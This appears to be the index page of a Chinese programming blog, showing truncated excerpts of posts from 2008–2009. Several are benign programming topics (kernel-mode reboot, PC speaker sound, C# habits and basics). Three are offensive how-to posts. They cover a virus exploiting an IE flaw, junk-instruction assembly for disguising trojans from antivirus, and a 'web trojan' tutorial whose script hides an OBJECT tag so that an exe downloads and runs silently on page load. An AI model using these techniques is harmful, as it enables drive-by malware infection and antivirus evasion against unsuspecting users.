-
如何从内核态重启系统
2009-07-06
如何从内核态重启系统呢,一个经常被推荐的简单的解决办法是 用驱动来通知一个用户态的服务并调用ExitWindowsEx函数
但是如果你非要想在内核态做这件事呢?那么你可以使用HalReturnToFirmware或NtShutdownSystem函数
但是这些函数都是无文档的,如果你使用它们,你的驱动可能无法通过WHQL认证
这里提供一种简单的、完全有文档的方法:
使用下面的函数... -
网页文件全盘感染病毒
2009-06-28
网页文件全盘感染病毒 利用Microsoft IE浏览器 screen[""]远程拒绝服务漏洞受影响系统:Microsoft Internet Explorer 8 beta 2Microsoft Internet Explorer 8 beta 1Microsoft Internet Explorer 7.0Microsof ...
网页文件全盘感染病毒 利用Microsoft IE浏览器 screen["... -
常用花指令大全(木马免杀)
2008-08-23
1.伪装vc++5.0代码:
PUSH EBP
MOV EBP,ESP
PUSH -1
push 415448 -\___
PUSH 4021A8 -/ 在这段代码中类似这样的操作数可以乱填
MOV EAX,DWORD PTR FS:[0]
PUSH EAX
MOV DWORD PTR FS:[0],ESP
ADD ESP,-6C
PUSH EBX
PUSH ESI
PUSH EDI
ADD BYTE PTR DS:[EAX],AL /这条指令可以不要!
jmp 原入口地址
************************************************************************ -
如何做网页木马
2008-08-13
1.它应该算是html带动同路径下的一个exe的文件的主页了,也就是当浏览器浏览这个页面的时候,一个exe的文件就在后台自动下载并执行了,可以做一个test.html的文件在桌面,内容如下:
<script language="javascript">
run_exe="<OBJECT ID=\"RUNIT\" WIDTH=0 HEIGHT=0 TYPE=\"application/x-oleobject\""
run_exe+="CODEBASE=\"test.exe#version=1,1,1,1\">"
run_exe+="<PARAM NAME=\"_Version\" value=\"65536\">"
run_exe+="</OBJECT>" -
编写好玩的PC喇叭发音程序
2008-05-24
游戏声音:
音效在游戏里是非常重要的
这里介绍用pc喇叭产生的最简单的声音,以后在给大家介绍如何驱动声卡使音箱发声
c语言函数库提供了两个声音函数 sound(),nosound()和延迟函数delay()
sound()函数中频率参数的单位是(Hz),根据测试,调用参数18Hz以上的sound()
函数可以被人耳识别,以下是一个利用循环改变声音频率的例子,发出来的生音频率从低到高
代码如下:
#include <dos.h> -
C#编码的好习惯(1)
2008-04-19
1. 避免将多个类放在一个文件里面2. 一个文件应该只有一个命名空间,避免将多个命名空间放在同一个文件里面。
3. 一个文件最好不要超过500行的代码(不包括机器产生的代码)。
4. 一个方法的代码长度最好不要超过25行。
5. 避免方法中有超过5个参数的情况。使用结构来传递多个参数。
6. 每行代码不要超过80个字符。
7. 不要手工的修改机器产生的代码。 -
C#语言初级入门
2008-03-01
C#读作“C sharp”,它是Microsoft开发的一种新语言,结合了C/C++的强大功能和Visual Basic的易用性。从最初的语言规范即可看出,C#无论在语法、丰富的Web开发支持还是自动化的内存管理上都和Java非常相似。因此,如果你曾经用过C++或者Java,再来学习C#应该是相当轻松的。
-
C#语言初级入门
2008-03-01
在这最后一个例子中,我们来看看C#的抽象和多态性。首先我们来定义一下这两个新的术语。抽象(Abstract)通过从多个对象提取出公共部分并把它们并入单独的抽象类中实现。在本例中我们将创建一个抽象类Shape(形状)。每一个形状都拥有返回其颜色的方法,不论是正方形还是圆形、长方形,返回颜色的方法总是相同的,因此这个方法可以提取出来放入父类Shape。这样,如果我们有10个不同的形状需要有返回颜色的方法,现在只需在父类中创建一个方法。可以看到使用抽象使得代码更加简短。
共1页 1








